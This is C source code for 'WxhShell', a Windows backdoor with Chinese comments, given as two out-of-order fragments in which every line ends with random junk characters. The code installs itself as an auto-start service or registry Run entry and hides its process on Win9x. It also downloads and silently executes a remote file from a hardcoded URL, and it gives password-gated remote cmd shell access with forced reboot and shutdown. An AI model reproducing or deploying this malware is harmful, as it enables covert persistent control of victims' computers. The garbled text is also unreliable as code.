    closesocket(wsh); .w0s%T,8}^  
    ExitThread(0); cUY`97bn  
    } 7PtN?;rP  
    break; ^R# E:3e  
    } I~ok4L?VB  
  // 获取shell 3+@<lVew6  
  case 's': { tD+9kf2  
    CmdShell(wsh); UazP6^{L  
    closesocket(wsh); jV4\A  
    ExitThread(0);  \4v]7SV  
    break; yt.F\[1  
  } y~F,0"N\r  
  // 退出 *XT/KxLa7  
  case 'x': { FQqI<6;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); D^=J|7e  
    CloseIt(wsh); Pmh8sw  
    break; }Q=!Y>Tc  
    } dvt9u9Vg=  
  // 离开 1+}{8D_F  
  case 'q': { Of4^?` ^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "x3lQ  
    closesocket(wsh); )XYv}U   
    WSACleanup(); fSs4ZXC  
    exit(1); yF"1#{*y  
    break; =y0C1LD+  
        } Jo@|"cE=  
  } no< ^f]33  
  } @>W(1mRi  
Z@]e{zO  
  // 提示信息 qI~xlW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Tl2C^j  
} @wE5S6! B\  
  } (X?%^^e!  
4}4Pyjh  
  return; A29gz:F(  
} |j#C|V%kV  
1 D<_N  
// shell模块句柄 my4giC2a  
int CmdShell(SOCKET sock) _Ou WB"  
{  Kfh|  
STARTUPINFO si; :'~ Y  
ZeroMemory(&si,sizeof(si)); f;1K5Y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @I_8T$N=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; w*oQ["SL  
PROCESS_INFORMATION ProcessInfo; 9983aFam  
char cmdline[]="cmd"; ?e,pN,4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >h k=VyU;  
  return 0; )u/yF*:n  
} 6^%68N1k  
dIRm q+d^  
// 自身启动模式 Qj.l:9%  
int StartFromService(void) 4KH45|; 3  
{ ~%SH3$  
typedef struct C4~;yhz  
{ &?*V0luP)  
  DWORD ExitStatus; XgLL!5`  
  DWORD PebBaseAddress; gG-BVl"59  
  DWORD AffinityMask; 1@QZnF5[  
  DWORD BasePriority; /+\uqF8F  
  ULONG UniqueProcessId; dt`{!lts'  
  ULONG InheritedFromUniqueProcessId; V&Xe!S  
}   PROCESS_BASIC_INFORMATION; -3;*K4z$/  
ReM=eS  
PROCNTQSIP NtQueryInformationProcess; S5G6Rj@W  
^xij{W`|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; nij!1z|M  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; D"J!\_o  
#ZYVc|sT+  
  HANDLE             hProcess; 5ZMR,SZhC  
  PROCESS_BASIC_INFORMATION pbi; .)<(Oj|4  
rz@=pR :  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -lhLA`6_R  
  if(NULL == hInst ) return 0; nIU6h  
~ ; -! n;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N1|$$9G+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ZE2$I^DY-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0IfKJ*]M  
XI22+@d6  
  if (!NtQueryInformationProcess) return 0; Kd=%tNp  
? P( ZA  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); BI $   
  if(!hProcess) return 0; m3mp/g.>  
!!`!|w  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; " QWq_R  
)tl.s)"N  
  CloseHandle(hProcess); +TQ47Z c  
hA33K #bC  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *g[^.Sg  
if(hProcess==NULL) return 0; M $Es%  
.8P.)%  
HMODULE hMod; JvT"bZk( o  
char procName[255];  }(1JaG  
unsigned long cbNeeded; ~fT_8z  
pb$~b\s]=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Z| V`B `  
EpFQ|.mQ  
  CloseHandle(hProcess); WC|.g,9#  
gMaN)ESqd4  
if(strstr(procName,"services")) return 1; // 以服务启动 ho0@ l  
^d~1E Er  
  return 0; // 注册表启动 /k<WNZM  
} C\di7z:  
!kE-_dY6)  
// 主模块 ;ByOth|9P  
int StartWxhshell(LPSTR lpCmdLine) uU:CR>=AKW  
{ <oo  
  SOCKET wsl; _ h": >  
BOOL val=TRUE; ~R &;v3  
  int port=0; #_(jS+lP?k  
  struct sockaddr_in door; 5JLu2P  
#:^YI c  
  if(wscfg.ws_autoins) Install(); -$WYj "  
L30$%G|  
port=atoi(lpCmdLine); e}.^Tiwd]  
&'DU0c&  
if(port<=0) port=wscfg.ws_port; ngat0'oa  
/l<<_uk$  
  WSADATA data; 1$81E.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V 2i@.@$j  
_<NMyRJo  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   XLH+C ]pfr  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); vsr[ur[eP  
  door.sin_family = AF_INET; cg*)0U-_(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); a(v>Q*zNP  
  door.sin_port = htons(port); !}r% u."  
NN1$'"@NL  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^pe{b9c  
closesocket(wsl); +{L<? "  
return 1; YBP:q2H  
} K!]1oy'V  
M>>qn_yq4  
  if(listen(wsl,2) == INVALID_SOCKET) { ,i,q!M{-  
closesocket(wsl); ,$ ^C4I  
return 1; aN $}?  
} YI.w-K\  
  Wxhshell(wsl); i7utKj*57  
  WSACleanup(); bLd#xXl  
X0M1(BJgGo  
return 0; SJ};TEA  
vJU*>U,  
} K a(J52  
#~.w&~ :  
// 以NT服务方式启动 !Wy[).ZAf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) O=dJi9;`#_  
{ A6pjRxg  
DWORD   status = 0; S:x?6IDPC^  
  DWORD   specificError = 0xfffffff; f}@jFhr'<  
(<Th=Fns?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =pk)3<GwF  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; zKsz*xv6b  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v !FMs<  
  serviceStatus.dwWin32ExitCode     = 0; {s_+?<l  
  serviceStatus.dwServiceSpecificExitCode = 0; Gsc\/4Wx  
  serviceStatus.dwCheckPoint       = 0; )"m!YuS Y  
  serviceStatus.dwWaitHint       = 0; l $jxLZ  
m~D&gGFt  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nYt/U\n!  
  if (hServiceStatusHandle==0) return; a /:@"&Y  
zBP>jM(8  
status = GetLastError(); "luR9l,RRE  
  if (status!=NO_ERROR) Q lHd,w  
{ 6"D/xV3Z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Zb134b'  
    serviceStatus.dwCheckPoint       = 0; UD)e:G[Gat  
    serviceStatus.dwWaitHint       = 0; PGARXw+  
    serviceStatus.dwWin32ExitCode     = status;  ^_%kE%I  
    serviceStatus.dwServiceSpecificExitCode = specificError; j* *s^Sg  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); , E$@=1)  
    return; _C+b]r/E  
  } XbZ*&  
60)iw4<wf  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; hAjM1UQ,Y  
  serviceStatus.dwCheckPoint       = 0; d)"?mD:m/M  
  serviceStatus.dwWaitHint       = 0; ;9}pOzF1q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5zIAhg@o:q  
} ~(@ E`s&{  
q9^  
// 处理NT服务事件,比如:启动、停止 &k1T08C*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >"@?ir  
{ ZDC9oX @  
switch(fdwControl) bI y sl  
{ >R2SQA o  
case SERVICE_CONTROL_STOP: d|*"IFe  
  serviceStatus.dwWin32ExitCode = 0; wV)}a5+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \xUe/=  
  serviceStatus.dwCheckPoint   = 0; !!:LJ  
  serviceStatus.dwWaitHint     = 0; wHem5E  
  { c.A|Ir  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); & BvZF  
  } [*Z`Kc  
  return; ,= &B28Qe)  
case SERVICE_CONTROL_PAUSE: IB`>'~s&A  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "aFhkPdWn  
  break; LsM7hLy  
case SERVICE_CONTROL_CONTINUE: 6y5A"-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /LM4- S  
  break; tWdhDt8$&  
case SERVICE_CONTROL_INTERROGATE: Fbp{,V@F2  
  break; 07/L}b`P  
}; >2?aZ`r+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !8@*F  
} 8p!*?RRme[  
)kJH5/  
// 标准应用程序主函数 tdF9NFMD  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) A~dQ\M  
{ L}yyaM)  
gBf4's  
// 获取操作系统版本 $) 5Bf3P0  
OsIsNt=GetOsVer(); c=6Q%S  
GetModuleFileName(NULL,ExeFile,MAX_PATH); RuG-{NF{F  
$^tv45  
  // 从命令行安装 w~@-9<^K]v  
  if(strpbrk(lpCmdLine,"iI")) Install(); "|m|E/Z-9  
ZCg`z  
  // 下载执行文件 <q,+ON\'  
if(wscfg.ws_downexe) { Cj*-[ EL<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) dtAbc7  
  WinExec(wscfg.ws_filenam,SW_HIDE); SxjCwX">  
} . /p|?pu  
do-c1;M  
if(!OsIsNt) { CWO=0_>2  
// 如果时win9x,隐藏进程并且设置为注册表启动 T|"7sPgGR  
HideProc(); ? /JBt /b  
StartWxhshell(lpCmdLine); !D o,>gO  
} ^I]{7$6^  
else F8+e,x  
  if(StartFromService()) +3,|"g::  
  // 以服务方式启动 #~ Q8M*~@  
  StartServiceCtrlDispatcher(DispatchTable); WjMS5^ _  
else OSzjK7:  
  // 普通方式启动 -n*;W9  
  StartWxhshell(lpCmdLine); c0 WFlj9b  
y@wF_WX2  
return 0; {[(pWd%J  
} X;!D};;M  
X-B8MoG|  
nB5Am^bP  
wE).>  
=========================================== )uP[!LV[e  
=w<v3wWN4  
_N3}gFh>  
2*U.^]~"{  
yZJ*dadAr  
m h;X~.98  
" Icp0A\L@  
:[M[(  
#include <stdio.h> %McO6.M@  
#include <string.h> 4(vyp.f  
#include <windows.h> 0p fnV%  
#include <winsock2.h> cbKL$|  
#include <winsvc.h> !ax;5@J  
#include <urlmon.h> ^t'3rft  
&B!%fd.'  
#pragma comment (lib, "Ws2_32.lib") w5]l1}rl  
#pragma comment (lib, "urlmon.lib") :k46S<RE  
%d: A`7x  
#define MAX_USER   100 // 最大客户端连接数 A 2x;fgi  
#define BUF_SOCK   200 // sock buffer |)@N-f:E  
#define KEY_BUFF   255 // 输入 buffer -PAF p3w\y  
nj\_lL+  
#define REBOOT     0   // 重启 he )ulB  
#define SHUTDOWN   1   // 关机 j.3o W  
,2WH/"  
#define DEF_PORT   5000 // 监听端口 m%QqmTH  
|ia@,*KD  
#define REG_LEN     16   // 注册表键长度 ykq'g|  
#define SVC_LEN     80   // NT服务名长度 G+)?^QTn  
-O&"|   
// 从dll定义API FQf #*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Xy#V Q{!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); JZ`L%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); N_C_O$j  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <?$kI>Ot  
H?}wl%  
// wxhshell配置信息 W81o"TR|pt  
struct WSCFG { .R5/8VuHF  
  int ws_port;         // 监听端口 NcL =z o<  
  char ws_passstr[REG_LEN]; // 口令 lVeH+"M?  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~SV Q;U)-  
  char ws_regname[REG_LEN]; // 注册表键名 /aUFc'5  
  char ws_svcname[REG_LEN]; // 服务名 Z|^MGyn  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {e]NU<G ,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,VD6s !(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <<3+g"enno  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \Tq "mw9P  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" kqB\xlS7k  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ku3!*n_\  
Kj*m r%IaU  
}; 4`mO+.za1  
Rlw9$/D!Z  
// default Wxhshell configuration PO ko]@~!i  
struct WSCFG wscfg={DEF_PORT, a'[)9:  
    "xuhuanlingzhe", X9'xn 0n;  
    1, s!h5hwBY  
    "Wxhshell", 1<uwU(  
    "Wxhshell", ]+IVSxa!u  
            "WxhShell Service", "2h5m4  
    "Wrsky Windows CmdShell Service", A9BxwQU#  
    "Please Input Your Password: ", @;9()ad  
  1, xbC~ C~#  
  "http://www.wrsky.com/wxhshell.exe", IYNMU\s  
  "Wxhshell.exe" MOV =n75  
    }; >.Q0 Tx!P  
?~qC,N[  
// 消息定义模块 rh$1-Y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6=>7M b$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; k.Zll,s  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^\YQ_/\~L  
char *msg_ws_ext="\n\rExit."; ~t9$IB  
char *msg_ws_end="\n\rQuit."; P,1exgq9  
char *msg_ws_boot="\n\rReboot..."; o5#,\Y[ g  
char *msg_ws_poff="\n\rShutdown..."; 9kd.j@C  
char *msg_ws_down="\n\rSave to "; < EXWWrm  
aBCOGtf  
char *msg_ws_err="\n\rErr!"; q<}PM  
char *msg_ws_ok="\n\rOK!"; d5, FM  
7l}~4dm2J  
char ExeFile[MAX_PATH]; -HTL5  
int nUser = 0; ,#%SK;1<  
HANDLE handles[MAX_USER]; _z:Qhe  
int OsIsNt; $Z7:#cZ Y  
-ddOh<U>  
SERVICE_STATUS       serviceStatus; s1@@o#r  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ew"m!F#  
B_@7IbB  
// 函数声明 6 ZHv,e`?  
int Install(void); |Y4q+sDW  
int Uninstall(void); dKe@JQ+-z  
int DownloadFile(char *sURL, SOCKET wsh); a&:>Ped"  
int Boot(int flag); X0x_+b? _  
void HideProc(void); I:/4t^%  
int GetOsVer(void); -CElk[u  
int Wxhshell(SOCKET wsl); ZW2s[p r  
void TalkWithClient(void *cs); [5LMt*Y  
int CmdShell(SOCKET sock); aZ/yCS7  
int StartFromService(void); ^HoJ.oC/  
int StartWxhshell(LPSTR lpCmdLine); 5|m9:Hv[#  
J]]\&MtaO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); c V(H<"I  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]84YvpfW  
7`+UB>8  
// 数据结构和表定义 wKrdcWI,Z  
SERVICE_TABLE_ENTRY DispatchTable[] = /p[y1  
{ 7?]!Ecr"  
{wscfg.ws_svcname, NTServiceMain}, P59uALi  
{NULL, NULL} eb7UoZw  
}; Ds G !S*  
E$&;]a  
// 自我安装 ]Qy,#p'~&H  
int Install(void) q\G{]dz?R  
{ j>g9\i0O1  
  char svExeFile[MAX_PATH]; +9}' s{  
  HKEY key; 0, "ZV}  
  strcpy(svExeFile,ExeFile); JSUzEAKe  
a~ F u  
// 如果是win9x系统,修改注册表设为自启动 C0f[eA  
if(!OsIsNt) { TQ2i{e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $WM8tF?H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `bi k/o=%  
  RegCloseKey(key); *q[^Q'jnN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y/!0Q6<[2Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iQ0&W0D]  
  RegCloseKey(key); 95% :AQLV  
  return 0; X &09  
    } 3_@G{O)e  
  } .1%i`+uZ  
} TR_(_Yd?36  
else { R3cG<MjmK  
$$/S8LmmK  
// 如果是NT以上系统,安装为系统服务 @>Biyb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @]yQJuXA&Z  
if (schSCManager!=0) H|'$dO)W  
{ L7[X|zmy*x  
  SC_HANDLE schService = CreateService /. f!  
  ( ?~]>H A:  
  schSCManager, }" g@E-]N  
  wscfg.ws_svcname, dfXV1B5  
  wscfg.ws_svcdisp, hkL w&;WJr  
  SERVICE_ALL_ACCESS, mURX I'JkX  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , OHQ3+WJ  
  SERVICE_AUTO_START, MQhYJ01i  
  SERVICE_ERROR_NORMAL, UfO'.8*v  
  svExeFile, &8.z$}m  
  NULL, l!Nvn$h m  
  NULL, CcbWW4 )  
  NULL, X{4xm,B/  
  NULL, ta2z  
  NULL 78\\8*  
  ); #NSaY+V  
  if (schService!=0) mfUKHX5  
  { HL|0d }  
  CloseServiceHandle(schService); mn,=V[f  
  CloseServiceHandle(schSCManager); 9n-RXVL+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <`^>bv9  
  strcat(svExeFile,wscfg.ws_svcname); )vxVg*.Ee  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 30e(4@!4vW  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >2*6qx>V  
  RegCloseKey(key); N7%=K9  
  return 0; d8 3+6d  
    } _dz:\v  
  } ok8JnQC  
  CloseServiceHandle(schSCManager); (}~ 1{C@  
} P2s^=J0@  
} ,2Sv1v$  
t"4Rn<-  
return 1; {"Y]/6  
} u_$6LEp-  
FC|y'j 0  
// 自我卸载 &L2`L)  
int Uninstall(void) %@)U/G6s}  
{ }d$vcEI$3  
  HKEY key; =W97|BIW,  
Fvcq^uZ  
if(!OsIsNt) { 1mkQ"E4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hwG||;&/H  
  RegDeleteValue(key,wscfg.ws_regname); 6+5(.z-[  
  RegCloseKey(key); .T[!!z#^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u&Ie%@:h9R  
  RegDeleteValue(key,wscfg.ws_regname); \q>e1-  
  RegCloseKey(key); 4c9-[KKCV  
  return 0; l93Q"*_  
  } .XZ 71E  
} 9e|{z9z[l  
} 7zi^{]  
else { M]pel\{M  
VbY>l' rY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); w96j,rEC  
if (schSCManager!=0) S@l a.0HDA  
{ %u<&^8EL+#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Sv CK;$:  
  if (schService!=0) w2RESpi  
  { 9 ^=t@  
  if(DeleteService(schService)!=0) { gGceK^#  
  CloseServiceHandle(schService); 1yY'hb,0  
  CloseServiceHandle(schSCManager); jtlDSf#  
  return 0; fNmG`Ke  
  } %K/G+  
  CloseServiceHandle(schService); bE%mgaOh  
  } r[i~4N=  
  CloseServiceHandle(schSCManager); V9);kD  
} "J0Oa?  
} B_6v'=7]  
v f/$`IJ  
return 1; s}p GJ&C  
} (h8hg+l o  
x Jj8njuq4  
// 从指定url下载文件 Vf\?^h(tP  
int DownloadFile(char *sURL, SOCKET wsh) 6H. L!tUI  
{ Jh/M}%@|  
  HRESULT hr; D q_{O  
char seps[]= "/"; d(dw]6I6  
char *token; vX!dMJa0  
char *file; tkUW)ScJ  
char myURL[MAX_PATH]; FcbA)7dD  
char myFILE[MAX_PATH]; 5i wikC=y  
71.:p,Z@z  
strcpy(myURL,sURL); a5Acqa  
  token=strtok(myURL,seps); U+3PqWB  
  while(token!=NULL) _|Kv~\G!  
  { 'AlSq:gZ  
    file=token; |] f"j':  
  token=strtok(NULL,seps); JJZXSBAOU  
  } 9  lazo  
V.G9J!?<P  
GetCurrentDirectory(MAX_PATH,myFILE); MX< ($M  
strcat(myFILE, "\\"); emDvy2uA#  
strcat(myFILE, file); Rh-8//&vZ/  
  send(wsh,myFILE,strlen(myFILE),0); qS[p|*BL  
send(wsh,"...",3,0); Qe=Q8cT  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); O (sFs1  
  if(hr==S_OK) 1x<rh\oo  
return 0; N_WA4?rB  
else \Lh<E5@]  
return 1; 9"u @<]  
C`K9WJOD  
} qjRiTIp9q  
:4L5@>b-  
// 系统电源模块 ]mGsNQ ].H  
int Boot(int flag) 'c+qBSDA  
{ XC8z|A-@  
  HANDLE hToken; /x"pj3  
  TOKEN_PRIVILEGES tkp; >+c`GpZH  
"x)pp  
  if(OsIsNt) { ,Elga}7u  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); DF&jZ[##  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); dXcMysRc%&  
    tkp.PrivilegeCount = 1; s }R:q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Up2\X#6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \gW\Sa ^  
if(flag==REBOOT) { /;(%Xd&:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k:uuJ|  
  return 0; 1V9X(uP  
} Q; /!oA_  
else { V{^fH6;[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) xo"4mbTV  
  return 0; 0bQiUcg/  
} 06W=(fY  
  } K]]r OF  
  else { ~!+h"%'t  
if(flag==REBOOT) { 'C?f"P:X{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) u5)A+.v  
  return 0; y:``|*+  
} g!|E!\p  
else { !JQ~r@j  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;<GTtt# D  
  return 0; _"t.1+-K  
} R*5;J`TW  
} n^(yW  
gm8Tm$fY  
return 1;  $.]t1e7s  
} ,,j=RG_  
D/6@bcCSY  
// win9x进程隐藏模块 m_U6"\n 5  
void HideProc(void) z=h5  
{ a} fS2He  
HG 6{`i  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [/,6O  
  if ( hKernel != NULL ) Rw^YTv  
  { jN[6JY1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); g~["O!K3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7[<sl35  
    FreeLibrary(hKernel); cj_?*  
  } *A9{H>Vq  
+Y^F>/4=Y  
return; ^znv[  
} [(UqPd$  
iOXP\:mPo  
// 获取操作系统版本 $u.T1v  
int GetOsVer(void) oK1[_ko|  
{ `A{~}6jw  
  OSVERSIONINFO winfo; ;p"XCLHl  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); BRLU&@G`1  
  GetVersionEx(&winfo); dw}3B8]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |]3);^0  
  return 1; -6Si  
  else j/ IZm)\  
  return 0; %~VIxY|d  
} @I.O T  
CN>};>WlG  
// 客户端句柄模块 hLD;U J?S  
int Wxhshell(SOCKET wsl) JNg5?V;.U  
{ d7zE8)DU7  
  SOCKET wsh; <%f%e4 [  
  struct sockaddr_in client; &Gwh<%=U  
  DWORD myID; l"!;Vkg.5  
<RsKV$Je I  
  while(nUser<MAX_USER) Kd1\D!#!6  
{ E1v<-UPbA  
  int nSize=sizeof(client); =w?cp}HW  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8~+Msn:  
  if(wsh==INVALID_SOCKET) return 1; 3AL=*qq  
Q>*K/%KD  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1T?%i  
if(handles[nUser]==0) Wfw9cxGkf  
  closesocket(wsh); }X:r:{r  
else phSP+/w  
  nUser++; _)" 5 gv  
  } 4 /vQ=t  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3yX^R^`  
<Y6>L};  
  return 0; \Rt  
} 41D[[Gh  
nu -wQr  
// 关闭 socket HJrg  
void CloseIt(SOCKET wsh) Om{ML,d  
{ CI{TgL:l  
closesocket(wsh); $&C%C\(>D  
nUser--; @V u[Tg}J  
ExitThread(0); JPzPL\  
} .8~ x;P6  
o>%W7@Pr  
// 客户端请求句柄 sB!A:  
void TalkWithClient(void *cs) htlWC>*  
{ 86VuPV-  
B ~GyS"  
  SOCKET wsh=(SOCKET)cs; o#b9M4O  
  char pwd[SVC_LEN]; y +vcBuX  
  char cmd[KEY_BUFF]; \bE~iz3b9  
char chr[1]; svgi!=  
int i,j; <[~M|OL9q,  
,%<77LE  
  while (nUser < MAX_USER) { @gk[sQ\O  
x7>sy,c  
if(wscfg.ws_passstr) { 5G[^ah<Tg  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [%q":Ig  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %hQ`b$07t  
  //ZeroMemory(pwd,KEY_BUFF); Z)0R$j`2  
      i=0; -fn~y1  
  while(i<SVC_LEN) { ]7@Dqd-/S  
)[.URp&  
  // 设置超时 Wc[)mYOSuO  
  fd_set FdRead; AU2Nmf?]%  
  struct timeval TimeOut; v4^VYi,.-  
  FD_ZERO(&FdRead); 0\A[a4crj  
  FD_SET(wsh,&FdRead); s5@^g8(+C  
  TimeOut.tv_sec=8; W;W\L? r  
  TimeOut.tv_usec=0; !;oBvE7Kh  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (Zkt2[E`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Yr@@ty  
.kV/ 0!q?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Rk^&ras_  
  pwd=chr[0]; 5#tvc4+)  
  if(chr[0]==0xd || chr[0]==0xa) { _uacpN/<|  
  pwd=0; @ZZ Lh=  
  break; sj2+|>  
  } :-n4! z"k  
  i++; u/WkqJvw#  
    } nAOId90wue  
g}7%3D  
  // 如果是非法用户,关闭 socket QG ia(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :}cAq/  
} elQ44)TrQ  
?:c hAN@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {fs(+ 0ei  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eP8wTStC  
cA,xf@itp  
while(1) { ,0O!w>u_]J  
lU3wIB  
  ZeroMemory(cmd,KEY_BUFF); n$9!G  
kQtl&{;k?  
      // 自动支持客户端 telnet标准   F u)7J4Z  
  j=0; ) Lv{  
  while(j<KEY_BUFF) { iFnM6O$(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hw1s^:|+2  
  cmd[j]=chr[0]; 2*N# %ZUX  
  if(chr[0]==0xa || chr[0]==0xd) { z> SCv;Q  
  cmd[j]=0; =Vfj#WL  
  break; )U?W+0[=  
  } oUH\SW8?  
  j++; 6$Y1[  
    } 9dAsXEWh  
mj pH)6aD0  
  // 下载文件 #v1 4"sZ}  
  if(strstr(cmd,"http://")) { ,wjL3c  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); W\/0&H\i  
  if(DownloadFile(cmd,wsh)) AkF3F^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7e4\BzCC  
  else OpfFF;"A'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qH$p]+Rk 5  
  } pc #^ {-  
  else { f>o@Y]/l  
pa7fTd  
    switch(cmd[0]) { Hmz[pTQ|87  
  Pj$a$C`Z  
  // 帮助 =0A{z#6  
  case '?': { M&L"yQA  
